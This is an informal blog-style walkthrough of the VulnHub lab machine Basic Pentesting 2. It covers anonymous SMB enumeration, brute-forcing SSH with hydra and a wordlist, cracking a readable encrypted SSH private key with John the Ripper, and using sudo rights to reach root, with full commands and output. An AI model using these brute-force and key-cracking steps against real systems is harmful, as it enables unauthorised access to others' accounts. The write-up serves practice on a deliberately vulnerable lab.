I did CAP from HTB. It’s active so no writeup. It’s probably the easiest modern HTB machine I’ve done. No new releases from VulnHub lately. I also did Basic Pentesting and yes it was basic.

We have SSH, SMB and a webserver. We’ve got anonymous access on the SMB and we can get a username; it hints that we can upload but that’s not something we end up doing:

└─# smbclient -L //
Enter WORKGROUP\root's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
SMB1 disabled -- no workgroup available
└─# smbclient  //
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018
                14318640 blocks of size 1024. 10822624 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
└─# cat staff.txt           
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)


With our username, we can bruteforce SSH:

└─# hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2021-06-11 07:37:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://
[STATUS] 172.00 tries/min, 172 tries in 00:01h, 14344228 to do in 1389:57h, 16 active
[STATUS] 112.33 tries/min, 337 tries in 00:03h, 14344063 to do in 2128:12h, 16 active
[STATUS] 105.71 tries/min, 740 tries in 00:07h, 14343660 to do in 2261:24h, 16 active
[22][ssh] host:   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra ( finished at 2021-06-11 07:45:02

And from there we can SSH in as Jan. We can read files in Kay’s home, including her (encrypted) SSH private key which we can then crack and login as Kay:

# on the box
jan@basic2:/home/kay/.ssh$ ls -lash
total 20K
4.0K drwxr-xr-x 2 kay kay 4.0K Apr 23  2018 .
4.0K drwxr-xr-x 5 kay kay 4.0K Apr 23  2018 ..
4.0K -rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
4.0K -rw-r--r-- 1 kay kay 3.3K Apr 19  2018 id_rsa
4.0K -rw-r--r-- 1 kay kay  771 Apr 19  2018
jan@basic2:/home/kay/.ssh$ cat id_rsa
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

# key goes here, cut for brevity

# in kali

└─# locate ssh2john                      
└─# python /usr/share/john/ key > key.john         
└─# john key.john -w=/usr/share/wordlists/rockyou.txt             
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (key)
1g 0:00:00:03 DONE (2021-06-11 07:48) 0.2695g/s 3865Kp/s 3865Kc/s 3865KC/sa6_123..*7¡Vamos!
Session completed
└─# chmod 600 key   
└─# ssh -i key kay@          
Enter passphrase for key 'key': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:
 * Management:
 * Support:

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from

We get Kay’s password backup, and then we can get root:

kay@basic2:~$ ls -lash
total 48K
4.0K drwxr-xr-x 5 kay  kay  4.0K Apr 23  2018 .
4.0K drwxr-xr-x 4 root root 4.0K Apr 19  2018 ..
4.0K -rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
4.0K -rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
4.0K -rw-r--r-- 1 kay  kay  3.7K Apr 17  2018 .bashrc
4.0K drwx------ 2 kay  kay  4.0K Apr 17  2018 .cache
4.0K -rw------- 1 root kay   119 Apr 23  2018 .lesshst
4.0K drwxrwxr-x 2 kay  kay  4.0K Apr 23  2018 .nano
4.0K -rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
4.0K -rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
4.0K drwxr-xr-x 2 kay  kay  4.0K Apr 23  2018 .ssh
   0 -rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
4.0K -rw------- 1 root kay   538 Apr 23  2018 .viminfo
kay@basic2:~$ cat pass.bak
kay@basic2:~$ sudo -l
[sudo] password for kay: 
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
kay@basic2:~$ sudo su
root@basic2:/home/kay# cd /root
root@basic2:~# id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
Fri Jun 11 07:50:04 EDT 2021

Now I’ve got to go watch the footy. Man I’m really phoning in these writeups.